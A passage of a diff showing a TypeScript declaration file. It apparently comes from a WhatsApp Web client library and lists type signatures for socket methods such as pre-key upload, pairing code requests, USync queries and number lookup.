end: (error: Error | undefined) => Promise<void>;
|
|
38
|
+
registerSocketEndHandler: (handler: (error: Error | undefined) => void | Promise<void>) => void;
|
|
39
|
+
onUnexpectedError: (err: Error | Boom, msg: string) => void;
|
|
40
|
+
uploadPreKeys: (count?: number) => Promise<void>;
|
|
41
|
+
uploadPreKeysToServerIfRequired: () => Promise<void>;
|
|
42
|
+
digestKeyBundle: () => Promise<void>;
|
|
43
|
+
rotateSignedPreKey: () => Promise<void>;
|
|
44
|
+
requestPairingCode: (phoneNumber: string, customPairingCode?: string) => Promise<string>;
|
|
45
|
+
updateServerTimeOffset: ({ attrs }: BinaryNode) => void;
|
|
46
|
+
sendUnifiedSession: () => Promise<void>;
|
|
47
|
+
wamBuffer: BinaryInfo;
|
|
48
|
+
/** Waits for the connection to WA to reach a state */
|
|
49
|
+
waitForConnectionUpdate: (check: (u: Partial<import("../Types/index.js").ConnectionState>) => Promise<boolean | undefined>, timeoutMs?: number) => Promise<void>;
|
|
50
|
+
sendWAMBuffer: (wamBuffer: Buffer) => Promise<any>;
|
|
51
|
+
executeUSyncQuery: (usyncQuery: USyncQuery) => Promise<import("../index.js").USyncQueryResult | undefined>;
|
|
52
|
+
onWhatsApp: (...phoneNumber: string[]) => Promise<{
|
|
53
|
+
jid: string;
|
|
54
|
+
exists: boolean;
|
|
55
|
+
}[] | undefined>;
|
|
56
|
+
fetchAccountReachoutTimelock: () => Promise<ReachoutTimelockState>;
|
|
57
|
+
fetchNewChatMessageCap: () => Promise<NewChatMessageCapInfo>;
|
|
58
|
+
};
|
|
59
|
+
//# sourceMappingURL=socket.d.ts.map
|